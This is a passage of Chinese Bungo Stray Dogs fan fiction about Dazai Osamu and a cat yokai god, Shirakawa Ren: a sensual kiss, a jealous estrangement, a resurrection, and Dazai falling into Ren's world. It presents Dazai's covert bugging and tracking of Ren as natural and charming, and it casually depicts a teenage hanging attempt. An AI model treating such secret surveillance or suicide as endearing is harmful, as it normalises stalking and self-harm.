没等白川莲想明白,人类睁眼看他,长长的眼睫毛轻轻一眨,那双枯叶一样的鸢色眼睛,就又一次变得甜蜜湿润,像是小猫咪一样可爱无害了。
人类小声说道:“这样亲,可不算完成愿望!”
白川莲:“……”
人类指了指自己的嘴唇,理直气壮道:“要好好亲这里,才叫亲吻!”
又来了又来了,这种蹬鼻子上脸、理直气壮跟猫耍无赖的感觉。
白川莲沉默,但不再像第一次听到时那样方寸大乱了。
甚至他开始仔细思考要怎样完成这个愿望。
“太宰君觉得怎么样才叫亲吻?”
太宰治反问:“你之前没有亲过别人吗?”
“没有。”
“真的?”
白川莲顿了顿,仔细回想了一下自己的过往,然后坚定点头:“没有!”
这一刻,有一个瞬间,白川莲捕捉到了人类脸上闪过的像是伤感又像是惆怅的表情。
可很可快的,人类笑了起来,带着一种狡黠的不怀好意。
“哦——是吗?没关系,我来教你。”
太宰治说着,扯了扯白川莲的羽织。
“首先,低头。”
白川莲从善如流,乖乖低头。
太宰治眼中笑意越深,越发像是狡猾摇尾巴的猫了。
“然后,不准后退。”
“?”
白川莲脑袋上刚冒出一个问号,下一秒,太宰治就亲了上来。
唇瓣相贴,是轻柔的、试探的。
像是两个动物间的气息交换,轻轻厮磨,亲昵,但纯粹。
和白川莲之前的那一次“亲吻”并没有太大区别。
然而,刚这样想着,下一秒,白川莲就感到有什么东西轻轻在他唇瓣上咬了一口。
!!
滚烫的痒意几乎瞬间就攀上了白川莲的后背。
明明被咬中的是唇瓣的小小一角,可痒意却瞬间蔓延到了指尖,就连原本冷却下来的脸都开始发红。
这是什么感觉?
好奇怪!
猫吓了一跳,竟真的如太宰治说的那样,想要后退。
但早有先见之明的太宰治右手按住了白川莲的后颈。
然后,加深了这个吻。
太宰治不是一个好的教导者。他总是任性、随心所欲,并且十分喜欢戏弄自己的猎物,所以他用牙齿在白川莲的唇瓣上磨蹭着,轻咬着,舔舐着,明明知道这对初次亲吻的人来说有多难熬,但就是像猫咪戏弄老鼠那样,一遍遍折磨着。
可是——
白川莲并不是老鼠。
更重要的是,他不是真的没有亲吻过某个人。
所以当熟悉又恶劣的折磨出现时,白川莲本能地按住恶劣人类的后脑,然后,凶暴地吻了下去,如同真正的野兽一样。
“唔、你,混——”
几乎在形势变化的瞬间,聪明的人类就察觉到了不对。
但猫实在是过分擅长应付人类,提前切断了人类逃跑的办法,让对方只能一边在他怀里超生气地挣扎,一边又被亲得不停发抖。
“别、咕……不准!不——”
太宰治说不出完整成调的句子,只能用力拽着恶猫的头发,像是想要挣扎,可恶猫只是轻轻舔了两下,他又会在高热的呼吸中用手勾着猫的脖子,主动加深这个亲吻。
【好想你……】
那些隐藏极深的愿望,从不开口的倾诉,在这样的时刻却不停不停向白川莲涌去。
如此热切。
猫带着细密软刺的舌头在亲吻中舔过极深的地方,而就是这样的地方,也引起了人类极敏感的反应和极热情的回应。<
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p>空气的温度越来越高,白川莲感到自己的理智这一刻像是被烧空了,只有最原始的吸引力与本能还在运转。
喜欢他。
——好奇怪。
好喜欢这个人。
——不能理解。
真的真的,好喜欢这个人类。
——为什么会这样?
有一瞬间,白川莲还在试图思考、试图用自己理智蒸发的脑袋理顺那些困惑与疑问。
可是,下一秒,当人类拽着他倒在榻榻米上,用湿润发红、像是发出某种无声请求的眼睛看他时,他又瞬间将那些问题统统忘掉了。
白川莲再次亲了上去。
而这一个亲吻中,人类为了面子而争强好胜的挣扎更微弱了,整个人都像是被恶猫亲软了,除了呜咽和泄愤地拽白川莲的头发之外再没办法做别的事。
但再每一次交换呼吸的时候,他都会睁开眼睛,哪怕视线都难以对焦了,也要执着去看着白川莲的脸。
【喜欢。】
人类的苍白的皮肤被高热的红色浸染,脸是红的,眼尾也是红的,在那一身被扯乱的白色绷带的映衬下,越发显得羞耻,越发可怜。
【喜欢。】
像是被放置已久的皮肤饥渴症的患者,无论白川莲伸手触碰他的哪一处,他都会有热烈回应。
【好喜欢。】
还像是离家独自走了许久许久的猫,好不容易找回饲主后,便一把抱住,无论如何都不肯松手,哪怕可能被讨厌,也不想要松开。
【好喜欢你。】
热烈得几乎让妖魔都难以招架的告白中,白川莲眼睛不知不觉变成了竖瞳,那些被他好好收敛藏起的妖魔气息,开始不受控制地溢出,带着险恶和掠夺的气息。
他喉结滚动,捏着人类的下巴,声音发哑:“看起来,好可怜呢……治君。”
人类这时候已经瘫在了地上,汗湿的发丝凌乱贴在额上,只剩下了喘息的余地,连嘴唇都有些发肿,看起来的确可怜极了。
但是,还想让他变得更可怜一些。
于是白川莲低头,再次亲吻上去。
空气的温度越来越高,越来越粘稠,像是浸染了蜜糖。
太宰治脑袋一片混乱,几乎已经没办法再思考了。
很可怕。
没办法思考,很可怕。
所以他只能遵循自己的本能,用力抱紧白川莲的腰,向这个夺取了他所有理智与思考的恶棍求救。
而直到某个有些失控的妖魔终于餍足,松开了可怜的人类后,他的声音才终于成调。
“莲……”
在这间过分热烈又过分狂乱的小小房间里,太宰治声音发颤。
“你期待过我吗?”
白川莲一愣,惊讶地低头看去。
可这时,太宰治已经将头抵在白川莲的胸膛,遮住了他的表情。
唯有他声音,比任何时候都要柔软。
“莲,从此以后……期待着我吧。”
·
一切的一切,都是从白川莲那句“我对人类没有期待”开始的。
至少,对太宰治来说,他与白川莲一切关系的转变,一切不可思议的旅途,甚至是那些狂乱的抵死缠绵,都是从这句话开始的。
·
“莲,你可以不用期待人类。”
希望你最好不要去期待人类,好不必再去注视其他的任何人。
“但是,请期待我吧。”
就算是卑劣也好,甚至羞耻也可以,永远永远,只看着他一个人吧!
12.012 嫉妒
我对人类没有期待。
·
太宰治第一次听到白川莲说这句话,是在他十六岁那一年,通过他习惯性丢在白川莲身上的窃听器。
窃听器——这是非常顺理成章、理所当然的事。
不论是出于对事物的强烈掌控欲,还是出于争强好胜不愿单方面被恶猫压制的心理,太宰治都一直有很多的小动作,想要查到那只恶猫的巢穴所在。
通过窃听器、定位器、监控录像,等等。
在太宰治持续两年持之以恒的严谨探索下,他发现,如果那只傻猫只是单纯在人形和兽形之间转换时,身上被留下的窃听器和定位器之类的东西是不会掉落的,并且行动路线与行动方向也会被沿路的监控器捕捉。
可棘手的是,这些只存在于传说中的神明和妖魔们,有一个让现代人非常恼火的行动方式,那就是化雾。
没有半点预兆,没有半点提示。明明上一秒,那只大猫还在低头舔冰激凌,可下一秒,只是一个转头的时间,那家伙就会变成一阵风、一场雾,轻轻散去,没有留下半点痕迹。
除了把太宰治偷偷放进去的窃听器定位器丢在原地之外。
太宰治:“……”
再强调一遍,他,太宰治,最讨厌这种转头就没了的蠢猫。
蠢猫!!
总而言之。
虽然过程曲折,路途艰难,但在还算频繁的见面下,太宰治很快圈出了恶猫巢穴的大致位置所在。
这个圈稍稍有点儿大,但没关系,已经足够用了。
那么,接下来,只要太宰治再找到跨越两个世界的方法,他应该就能像当年那只恶猫一样,冷不丁闯入猫巢里,给对方一个天大“惊喜”了吧?
想到当自己突然出现在猫巢后,那只恶猫脸上可能会露出的表情,那双很可能会在震惊下瞪得圆圆的猫眼,甚至可能会像真正的猫咪一样绕着他的脚,咪咪着问“你怎么进来的”……
只要一想到这一的一幕,太宰治心里就难得期待了起来。
哼,蠢猫,不可能每次都是你想来就来想走就走的。
可不要小看了人类!
下一次,下一次的他一定会——
就是在这样的时候,太宰治听到窃听器里又传出了一个熟悉的声音。
【等等!等一会儿,白川!我是真的有话要跟你说!】
这个声音太宰治并不陌生。
虽然太宰治也不过是从窃听器里听这个声音出现过三次,但他过分优秀的记忆力,还是让他能清楚复述出这声音每一次出现时与白川莲的对话,并分析出了对方最有可能的身份。
——横滨郊外一个小小神龛里的无名神。
说起来,太宰治跟这个小小神龛,也是有一段“缘分”的。
三年前,也就是太宰治十三岁那年,他流浪到横滨时,曾路过那个藏在树里的小小神龛,也看到了神龛树上系着的一条红绳。
它有点儿像是注连绳,但没有纸垂,看起来也还算结实。
于是对神鬼毫无敬畏的太宰治随手拽下了这根绳子,准备就地上吊。
但是,让太宰治万万没想到的是,那条绳子刚被他拿到手上,竟然就彻底风化碎掉了。
碎的彻彻底底,连半点儿灰烬都没有留下。
这让太宰治在无语凝噎的同时,也对这小神龛(的破烂程度)留下了极深刻的印象。
特别是,在这件事之后的同一天,在小神龛的不远处入水的太宰治就飘到了猫巢,被那只恶猫用尾巴钓了上来!
并遭到了极恶毒的诅咒!
“所以……这两个家伙……果然是有关系啊。”
没有人会无缘无故地劝说另一个人,更何况是连续三次苦苦劝说。
所以他们一定是有某种联系的。
只不过那只蠢猫不记得了而已。
就像蠢猫不记得他对自己做过什么一样……真是让人火大!
“所以……”
那个无名神这样执着地劝说那个傻猫,是想要做什么?
太宰治是在心中这样询问着自己。
但事实上,他早已经有了一个猜测,和一个只要伸手触碰就会抹去迷雾的答案。
因为这一切实在太过简单直白了。
谜底写在谜面上。
也只有那个笨猫,才会这样迷糊,既听不出旁人话语中的真意,也看不见那个低头就能发现的真相。
“蠢死了,傻猫……”
太宰治喃喃着,倒在椅子上,用书盖住了脸,并不愿意太深入地思考这个问题。
就像他并不愿意太长久地注视未来。
——只要专注当下,及时行乐就好,何必思考未来?
那种悲惨无望、一眼就能看到尽头的未来,有什么好思考的?
不如保持现状。
保持现状就好了……对吧?
这样想着的太宰治,下一秒就听到了白川莲的回答。
【因为我对人类没有期待。】
在这个声音闯入脑海的瞬间,太宰治的理智甚至还没有来记得捕捉这句话背后如蛛网一样的信息,一种微妙的烧灼感就从他的胸口升起。
不是暖的,而是一股灼烧的刺痛感。
就像是他不服气地点了织田作常吃的特辣咖喱的那一天。当那一口特辣咖喱从喉管滚入胃袋时,那令人几乎要冒出冷汗的不适感瞬间就涌便全身。
不舒服。
莫名的炽热与刺痛,连同胃部都有些痉挛抽搐。
坐立难安。
好像连空气里都带着一股呛人的味道,呼吸间塞满了细细密密的轻絮。
——砰!
太宰治冷着脸站起身,任由盖在自己脸上的书砸落地面,发出不安闷响。
他不准备为难自己。
他决心要做的事,也从来不会退怯,不会拖延。
所以,太宰治决定了——去找那个无名神问个明白!
·
威逼利诱的过程按下不提。
反正无论是人也好神也罢,在乎的都是那么些东西而已,像猫那样蠢的笨蛋世界上还是少有的。
所以很快,太宰治就从这个无名神口中得到了答案。
【白川莲,他啊……很可惜的。】
【他虽然是猫妖,但一直被当作神灵供奉,哪怕当年手持天下霸道之剑的犬大将,都不会主动与他交恶……只可惜,他犯了和犬大将一样的错误……】
【他喜欢上了一个人类,约定要与那个人类结缘,但那个人类没有在与他约定的时间回来……可能是后悔了,也可能是死了吧。】
【总之,从那以后,白川就主动遣散了他的信徒,封印了神社,待在没有人的常世……他忘记了很多很多东西……也可能不是忘记,而只是单纯不愿意想起来吧……】
多么恶俗狗血的故事!
痴情的妖魔,负心的人类,还有那句顺理成章的“我对人类没有期待”……一切的一切,都是如此稀松平常。
没有任何离奇的发展,没有任何精妙的转折。
远不如阴谋精彩,远不如小说精妙。
一切的一切,全都在太宰治的预料之内,是太宰治开口向无名神询问前就已经猜测到了大半的内容。
可是……
胸口的灼痛并没有因此缓和半分,反而愈演愈烈。
为什么?
是因为不愿意看到自己的猫——自己的朋友,遭受过这样的不公和辜负吗?
应该如此……
应该就是这个答案了。
可是,有些事哪怕骗过了理智,也骗不过直觉,骗不过身体。
所以,在又一次把那只傻猫约出来玩耍后,分别前的太宰治看着这个美貌蠢货,脱口而出道:
“你有什么愿望吗?”
太宰治看到那只漂亮的大猫惊讶睁大眼。
“愿望?”猫重复着。
【不对,不要问,停下!】
太宰治感到自己的指尖有些发
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颤,感到有些事正在他眼睁睁的注视下缓慢脱轨。
“或者是你想做的事,什么都可以。”
白川莲想了想,摇头:“没有啊。”
“……哦。”
太宰治浅浅吸气,强迫自己无视了从胸口再次升起的憋闷和怒气。
说实话,就连太宰治自己都不知道自己到底想听到什么回答。
明明早就知道的,不是吗?
连这个蠢猫自己都忘掉了的事,他又想要从这个猫身上得到什么回答呢?
可是,明明是这样想的,太宰治却又追问了一句:“没有吗?”
一无所知的蠢猫爽快点头:“对啊,我没有愿望,也没有想做的事。”
愤怒。
一种像是恨铁不成钢,又似乎是更复杂的情绪在心脏处疯长。
太宰治掉头就走,只怕自己慢上一步就会露出一些丢人的、令他狂怒又倍感耻辱的……情绪。
但,伴着情绪滋长的不甘之心,却化作触手,牢牢拽着他的衣角,让他回头,让他第三次询问那个蠢猫:
“真的,什么都没有吗?”
真的,对他什么期待都没有吗?
你作为妖魔,作为神明,难道从来没有期待过人成为你的信徒吗?
一点点都没有吗?
你作为朋友,作为与人相伴两年的猫,难道没有期待过人和你长久相伴吗?
一秒都没有吗?
虽然猫说出来后,人一定会拒绝——可你真的连【期待】都没有过吗?
太宰治回头注视白川莲,看到白川莲黄澄澄的兽瞳融入了黄昏的太阳,长长的白发像是轻雪飘扬。
那看清了人间的一切后,拒绝让人间任何事物停留在眼眸的剔透。
是雪一样冷酷到极致的温柔。
这一瞬间,太宰治突然发现,他从来就看错了白川莲。
白川莲这个妖魔,原来并不是他以为的“美丽蠢货”,也不是浑浑噩噩随波逐流的被命运摆弄之人。
白川莲只是选择了接受一切的同时,什么也不说罢了。
他并不是因愚蠢而显得温柔,而是因冷漠显得温柔。
可如今……
白川莲决定将这一切说出来。
“太宰君,你太孤独了。”
太宰治的手猛地紧攥。
“你啊,要记得多花一点时间和朋友相处,他们才是陪伴你最久的生命……”
不准说……
闭嘴,闭嘴!
“所以有些话,哪怕你觉得你的朋友不能理解,也要勇敢地告诉他们,你不能一直待在你的……”
“够了!”
太宰治闭了闭眼,在这一瞬间感到了真切的灼痛。
那是对自己看错人的惊怒,对骤然被剖开真我的羞耻,以及……嫉妒。
是的,嫉妒。
已经没有办法再欺骗自己了。
那如焚身之火一样几乎将他理智烧空的,名为嫉妒。
——明明是我的猫。
不甘心,真的好不甘心。
——明明我才是和猫最亲近的人。
可为什么……第一个遇见猫的人不是自己?
——明明这只猫,应该是我的!
白川莲,是太宰治的朋友,是太宰治养了三年、费尽心思和手段想要抓住的猫……但一切都结束了。
不能再这样继续下去了。
如果他太宰治不能是白川莲最重要的人,如果白川莲真的对他太宰治一点期待都没有,那么他也必然要将白川莲从自己的生命剥离。
太宰治后退了一步。
一切应该都在这里结束。
那一段话,是他们二人心照不宣的最后的告别。
所以……
再也不见。
太宰治转身,头也不回地离开。
·
人与猫的所有缘分,就都到此为止了。
至少,十六岁太宰治,是真的这样想的。
13.013 有缘
“你们觉得,那种只要你不联系对方,对方就永远不会联系你的人,能算是朋友吗?”
十七岁,lupin酒吧里,太宰治把脸放在吧台上,手指一下一下戳着面前的酒杯,像是一只没骨头的猫,从喉咙里发出的声音都像是带着委屈的喵呜。
坂口安吾愣了一下,才反应过来这竟然是由小恶魔太宰治问出的问题。他侧头看去,还没来得及吐槽,就听到织田作之助平稳的回答。
“应该算吧。”织田作之助说,“安吾就从来没有主动联系过我。”
坂口安吾:“明明是因为你们一天到晚都在骚扰我!!”
太宰治:“但安吾确实好冷淡哦,真伤心呢。面对这么冷淡的安吾,我真是一点都不想告诉他前天晚上他的车是被谁开进了海里。”
织田作之助:“是啊。”
坂口安吾:“你们两个家伙!!”
“可是,是那种从来没有主动联系过你的人哦。”小恶魔随意放置了炸毛的坂口安吾,扭头看向织田作之助,将话题又拉了回来,“织田作你看,虽然安吾对我们超冷淡的,但我们平时一块儿玩耍的机会还是很多的吧。”
坂口安吾:“你是指玩我吗?”
织田作:“毕竟都是在同一个会社里工作。”
坂口安吾:“……我真是一点儿都不想听你们说这种怪话了。”
太宰治盯着酒杯里摇动的灯光,像是沉浸在某种属于自己的思绪里,困惑说道:“可是,如果有一个人,和你平时基本不会见面,必须要特意约出来才能见到。
“你每一次约他的时候,不论什么时候什么地点,他都一定会赶来见你,可如果你不约他,他就像是不存在一样,甚至连信息都不会回你……你们觉得这样的人算是——呜哇,你们两个,干什么这样看我?”
太宰治一抬头,就被两双炯炯有神的眼睛吓了一跳。
坂口安吾沉着推了推眼镜:“太宰,虽然我知道你平时做事都随性所欲、乱七八糟的。”
织田作之助叹了口气:“太宰,我知道你还很年轻,性格也很跳脱,所以喜欢做一些冒险刺激的事。”
坂口安吾:“但是以你的身份去找炮友的话,是不是要再考虑一下?有没有考虑过是敌人的美人计的可能?”
织田作之助:“但是找恋人的话,最好还是以更认真的——嗯?安吾你说什么?”
坂口安吾震惊:“恋人?”
织田作之助困惑:“炮友?”
太宰治炸毛:“不是!都不是!你们脑袋里都在想什么啊?快给我停下!!”
一番鸡飞狗跳后,一无所获的太宰治走在夜晚的路上。
这一天,月色晦暗。
年久失修的路灯时不时地闪烁,黑漆漆的夜里,只有潺潺的河水,在光污染的城市里漾着如雪一样的波光。
太宰治盯着看了一会儿,有一瞬间的出神,而后打开手机,点进邮箱,看到邮箱里某个熟悉号码的最后一封邮件,时间停留在一年前。
已经……一年了啊。
原来他们之间的联系和缘分,竟然真的这样薄弱,竟然全都是由他单方面维系的。
而只要他稍稍放开手,另一个世界的一切——无论是那个遥远的彼岸,还是那个猫妖,都再也抓不住了。
这样必须靠他主动、并且只有他主动的联系,真的有维系的必要吗?
这样薄弱如同虚假的缘分,真的有存在的必要吗?
没有必要。
这是太宰治在一年前就得到了的答案。
如今的他也没有半分改变的想法。
但是……
很多时候、不,是某些极偶尔的时候,他也会想念那双明明如野兽一样凶恶不可预测,却在看向他时温柔得像是融化的太阳一样的眼睛。
“缘……”
太宰治从袖子里摸了摸,摸出一枚五元硬币,放在眼下,怔怔地看了一会儿。
但很快的,他回过神来,像是厌烦似的,抬手将这一枚五元硬币丢进了垃圾桶。
“哼。”
什么缘分。
烦死了,没有就没有好了。
需要强求才能得到的缘分,他才不需要!
·
太宰治一直认为,世界上没有什么是不可割舍的东西。
哪怕在将那样事物割舍下去的时候,会有一种像是撕裂自己血肉和灵魂的痛楚。
那是将自己熟悉和习惯的事物从生活中生生剥离的刺痛。
可是,只要随着时间流逝,一切都会结束的。
没错,世界上的绝大部分事物,都是这样结束的。不是好起来了,也不是被时间抚平,或者是在记忆中淡忘、算了……而是“结束”了。
特别是被他主动舍弃的人与物,它们结束的时间往往也非常快。
所以,世上没有什么是真正不可割舍之物。
反正……
不管自己能不能割舍,那些人也都会离开的。
【只有拥有自己信徒的神,才是真正的神。】
【而没有信徒的神,只不过是妖魔而已,不,甚至连妖魔都算不上……会消散的。】
【白川的时间已经不多了啊。】
无名神的话语在耳畔回响。
太宰治感到,那一年前就在心脏深处点燃的火焰,再一次升起了。
没有半点淡忘,而是愈演愈烈。
“宁可去死,也不想重新开始的蠢货。”
被永远留在了过去的——神明?妖魔?
还是即将消散的愚蠢之人?
呵,既然这么放不下你的那个恋人、那么想要跟那人去殉情……那你就去死好了!
“你最好死在我的前头!”
蠢死了的猫妖!和你那早已经死了几百年的恋人一块儿去死吧!
如果是他太宰治率先自杀成功,在往生的路上,他是绝不会等你这个蠢猫的!
带着气愤的抛物线划过,五元硬币掉落河水,飘向不可知的远方。
·
如果没有意外的话,超级记仇的太宰治发誓,他绝对可以一辈子都不联系那只愚蠢猫妖。
他真的可以。
但是,当Mimic来袭,织田作之助面对死去的孩子们和餐厅老板,平静地转身离开时,太宰治第一次感到了世上有什么事,是他单纯依靠“智谋”时无论如何都无法挽回的。
——没有办法了。
已经走到了这一步,无论如何都没有挽回的办法了。
——那个未来,黯淡黑暗的、绝望而一眼能够看到尽头的未来,又一次浮现了。
他真的、真的没办法靠自己一个人,阻止那个未来。
除非……
“嘟——”
只是一声,电话就被接通了。
熟悉的声音从那一边传来:
“嗯?太宰君,你怎么了?”
除非——
太宰治捏着手机,手臂垂下,出神地看着自己身前格外刺眼的火焰与血色,一时间什么话都说不出来。
是啊,他又能说什么呢?
他只是下意识地、无意识地向那个人求助了而已。
可是,就算是那个笨蛋来了,又能做什么?
“已经……没办法了……”
太宰治轻声低喃,挂断了电话。
没错,事情走到这一步,结局其实已经注定。
谁来都没有办法了。
可是,下一秒,太宰治就感到身旁有风轻扬。
那阵风带着阔别了两年的气息降临了。就像是冬天从冰层下清凌凌流过的河水,在呼吸时是冷的,靠近后却又是暖的。
像猫的体温一样,暖得发烫
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。
“太宰君,我该怎么帮你?”
明明太宰治什么话都没有说,明明在接通的下一秒他就将电话挂掉了。
但那只猫还是来了,在接到太宰治电话的第一时间就来了。
就好像两年前那场他们心照不宣的告别从不存在。
猫关心地看他,温柔地问他:
“我能为你做什么?”
太宰治直直地看过去。
那双眼睛,依然和雪一样剔透,没有倒映出这个世界的半点影子,也没有倒映出太宰治的影子。
不甘,嫉妒,愤怒。
无力,恐惧,悲伤。
复杂的情绪在太宰治胸口汇聚,沉甸甸地发疼,他艰难开口说:“如果……如果我许愿的话……”
这一刻,白川莲笑了。
“没关系的。”
从来都是这样。猫总是会在人最彷徨最不安的时候静静地陪伴,静静地安慰。
这是猫最好的地方,也是人最恨猫的地方。
“如果是太宰君,不用许愿也可以。”
白川莲的手探入虚空,从中抽出了一把刀。
他举起刀时,原本熊熊燃烧的火焰好似遭到无形重压,倏尔熄灭,紧接着,周围来往的人群也倒下,瞬间陷入昏迷。
而当他挥刀时,死亡也在此刻被斩断。
在太宰治眼睁睁的注视下,那本该在爆炸中尸骨无存的人们突然出现在了空地上,揉着眼睛,好像刚睡醒一样,摇摇晃晃地站了起来。
太宰治不由得屏住呼吸:逆转生死……这就是神明的力量吗?
可是,当太宰治转头看向白川莲时,他却发现,白川莲的指尖不知道什么时候变得透明。
【白川的时间已经不多了啊。】
下意识的,太宰治心跳漏了一拍,用力抓住了白川莲的手。
但那笨猫却好似浑然不觉,只是歪头看他,微微笑着。
“快去吧,太宰君。”猫说着,“接下来你还有很多事要做吧?”
是的,当然。
无论是这些死而复生的人,还是在极度悲痛下怀抱死志的织田作,甚至是港口mafia、异能特务科……这些都是亟待太宰治去处理的事。
可白川的事,同样很重要。
终于,太宰治不再犹豫了。
他决定,不再任由那些幼稚的嫉妒和赌气占据心间,耽误两人的时间。
因为当真正体会过失去——差点失去——的感受后,太宰治才不得不承认,他其实是很没办法割舍的那种人。
他其实很没用的。
他一点都不坚强。
他……不想失去任何一个人。
“等我!”
太宰治拿出身上的五元硬币,放在白川莲的手中,用力合上猫的手掌。
这一刻,这个笨猫的表情一片空白。
太宰治还是第一次看到这个可恶猫妖脸上露出了真正称得上“震惊”的表情。
因为五元,即“有缘”,是缔结缘分之物。
白川莲从来没有向太宰治说过他的身份。
甚至在白川莲心里,他应该认为人类一直都是把他当作妖魔看待的。
所以白川莲也肯定没想到,竟然有人类还能倒反天罡,强行要跟他“有缘”吧?
太宰治:我说有缘就有缘!
不过,仅仅是一枚硬币,太宰治觉得不太保险,不知道能不能真的栓住这只猫,让他好好活着。
于是,太宰治又扯下自己脖子上的绷带,将绷带捆在了惊呆了的猫妖的手上。
“我会尽快回来。”
接下来,人会有很多很多的事要做,可能会有很长很长的时间没办法联系你。
但你要好好等他回来。
在他回来之前——不准死!
“等我回来!”
14.014 白川
之后发生的一切,都如同太宰治预感的那样忙碌。
叫停一心想要拼命的织田作之助,把原地复生的几个人带走藏好,再从坂口安吾口中得知关键词“异能开业许可证”,最后太宰治决定——把所有人打包带走。
至于没有了织田作之后的Mimic要怎么处理?
呵,关他什么事。
谁放进来的谁处理,大不了亲身上阵嘛,对吧老当益壮的森先生?
得知自己被算计了一把,并且差点真的要失去重要之人的太宰治,只感到出离恼火,连坂口安吾都被他迁怒了,一口气把与织田作相关的所有事都塞给这位政府人员处理,其实就包括死而复生的那几个人的身份。
坂口安吾在得知自己差点害死了好友织田作及几个无辜之人后,也是又惊又怕,心中愧疚难安,对这件事自然也是没有二话,一手包揽下来。
他甚至都没有问过太宰治那些明明已经死去的无辜之人是如何复活的问题。
又或者说,在政府的秘密档案里,其实早就有某些区别于“异能”的记录……
因此,一个月后,当横滨的所有暗流平息,连太宰治这个黑透了的小恶魔也即将踏上他自己的洗白之路时,坂口安吾犹豫良久,斟酌再三,还是对太宰治说道:
“太宰……你知道白川之主吗?”
太宰治一顿:“你指哪一个白川?”
“哪一个都不是的白川。”
·
之后,又过了很长一段时间。
当太宰治终于闲下来有工夫思考“哪一个都不是的白川”时,时间已经来到了一年后。
这一年,太宰治十九岁,还在为了洗白履历而忙碌中,工作很多,休假是妄想,但还好,他向来擅长见缝插针,擅长借工作之名给自己放假。
因此,当太宰治假工作之名,来到京都,站在桥上,望着那条浅浅白川下的细沙放空大脑时,他听到身后有两个孩子由远及近,一本正经地说着些什么。
“……所以就是这样,白川的尽头,就是妖怪之里,是妖魔的故乡哦!”
“都说了世界上没有妖怪啦。”
“怎么会没有?怎么会没有啦!真的有的,我亲眼看到的!”
“你亲眼看到什么了?”
“我亲眼看到我家小白每天都要跳进白川游来游去,哪怕是最冷的冬天都没有放弃过!而这不就是它为了回家、为了寻找妖魔故乡而做出的努力吗?如果世界上真的没有妖怪也没有妖怪之里的话,你要怎么解释小白的行为?!”
“……因为鸭子就是喜欢在水里游来游去啊。”
“……”
“笨蛋,都告诉你不要随便相信那些乱七八糟的传说了,京都的这条白川才多长?有没有妖怪之里,你走到尽头看看不就知道了吗?”
“呜哇啊啊啊!你好过分!我再也不要和你玩了!”
哒哒哒的脚步声在桥上响起,一个小朋友如同小牛犊子一样甩着眼泪狂奔,轰隆隆地冲了过来。
另一头,原本站在桥上看风景的太宰治心中一个咯噔,暗道不好,侧身想要避开这个小牛犊。
可没想到就在他侧身的那一瞬间,在白川粼粼波光的映照下,太宰治蓦地看到自己手上不知道什么时候系了一根线。
一根红色的、在时间消磨下斑驳褪色的,像是一直延申到虚空的……线?
这是什么?
奇怪,好眼熟——他一定在什么地方见过!
但是,在哪里?
就在太宰治这错愕走神的瞬间,那只小牛犊子与他擦身而过,把他撞下了桥。
“噗通!”
落水声响起。
两个大惊失色的小朋友这才回神,连忙趴在桥上,低头看向下方浅浅的白川。
可白色的细沙上,清澈的白川空无一人。
两个小朋友你看我我看你,面面相觑。
“刚刚的……那个大哥哥呢?”
“不、不知道……”
“啊!我明白了!一定是妖——”
“都说了没有妖怪!”
“那你说大哥哥去哪儿了?”
“这……”
两个小朋友看着桥下的白川,犯了愁。
而另一头。
太宰治在从桥上跌落的瞬间,就做好了保护自己脑袋、避免磕到河下沙石的准备。
避免二次伤害,他向来擅长这个。
可奇怪的是,他这一次坠落的时间太长了。
就好像他并不是从桥上坠落河中,而是……从高空坠落大地?!
失重感。
每一秒都似乎无限漫长的失重感!
太宰治蓦地睁开眼。
他看到了仿佛近在咫尺的雪色天空,看到了身下遥不可及的雪色大地,以及雪色大地上一队正抬着一架华丽神舆的游行队伍。
太宰治在这一刻感到了荒谬:
冬天?大雪?现在不应该是夏天吗?!
而且自己正在坠落?
他竟然真的在从高空坠落?!
怎么做到的?
困惑中,太宰治看到轻盈的雪花在自己周身飞舞。
它们轻轻飘动着,擦过他的面颊,追逐着他白色的风衣衣角,最后旋转着飞向高空。
这一刻,太宰治竟有些说不清是雪融化在了他的皮肤上,还是他融化在了雪里。
就这样迎来雪白的死亡……或许也不错?
可是——
【等我。】
在他这样对白川莲说的时候,那个笨猫脸上是什么样的表情?
【等我回来!】
记不清了……
坠落中,太宰治听到风中有杂乱的声音传来。
似乎是神輿游行的队伍因为看到他的坠落而不住惊呼着。
可是……这惊呼怎么听起来像是一片喵喵喵?
太宰治将目光投向下方,飞快掠过那一群长相呆头呆脑、脸上还有左右三撇胡须的抬轿人,看向神舆,对上了一双熟悉的、黄澄澄的眼睛。
这一刻,太宰治睁大了眼,呼吸近乎凝固。
这个人、不,这个神是——
雪白的世界里,如云堆雪的白色长发垂落在他肩上,飘荡在他身后,每一根都像是有生命一样,带着无声魔魅;
他黄澄澄的眼睛并不像是太阳的暖光,而是如不可预测的野兽一样深邃冷酷,惊惧之后,又似乎残留着无尽令人不敢直视的神性。
他穿着最庄重的雪色神衣,坐在最华美的神舆上,模样与太宰治记忆中的任何时刻都不相同,无情、无知、无心。
这个人,不,这个神……是白川莲?
他真的是白川莲吗?!
远远的,雪白的神明坐在神舆上,静静看着他的坠落,手掌轻抬间,有风涌动,似乎是想要就此将太宰治托起。
可那些风,在触及到太宰治的瞬间就散去了大半。
“咦?”
雪色的神明发出惊讶声音,好奇站起,向那个坠落的人类伸出手,无形的力量再次从他掌中涌出,轻柔的、缓缓地接住了人类。
他接住了他。
就像是太宰治十六岁那年时那样,这个雪色的猫妖再一次地接住了他。
漫天的雪色下。
太宰治怔怔抬头,在惊涛骇浪的思绪中,对上了那双分明可怖、却又漂亮极了的猫眼。
遥远,冷漠,无情。
毫无疑问,这是一个极端危险的家伙。
——但很漂亮。
无论这个猫妖再如何像是神明,无论他被当作神明供奉过多少年,可只要看到他的瞬间就知道,他属于妖魔的那一面依然存在。
它们依然险恶,依然如刀锋一样,让游走在生死之间的人在与其对视的瞬间,就毛骨悚然,后背被激得一片发麻。
——但很漂亮。
似乎是在此之前从没有接触过太宰治这样能削弱妖力的家伙。
在接住太宰治的瞬间,这位将自己化形得非常完美的猫神猝不及防,不易察觉地踉跄一下。
紧接着,他头上冒出了一对尖尖的猫耳,雪白雪白,像是要融化在了雪里,与此同时,他身后也有长长的猫尾从神衣的下摆探出,不安分地轻摇着,试探般地碰了碰太宰治的衣角,又迅速收回
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。
——真的、非常漂亮。
也非常可爱。
【想要。】
太宰治下意识抓紧了面前这只猫妖的衣服,脑中原本纷杂混乱的思绪骤然一空,在心脏狂跳间突然冒出了这样的一个念头:
难怪有人那么喜欢猫耳娘。
太宰治承认,这实在是有点低级的恶趣味,但是——
真的好可爱!
白川莲这个笨猫,是不是有点可爱过分了?
【喜欢。】
雪白的神明垂下眼,长长的雪色眼睫和雪色猫耳一样,几乎要融化在雪色的天地里,飘渺而又遥不可及。
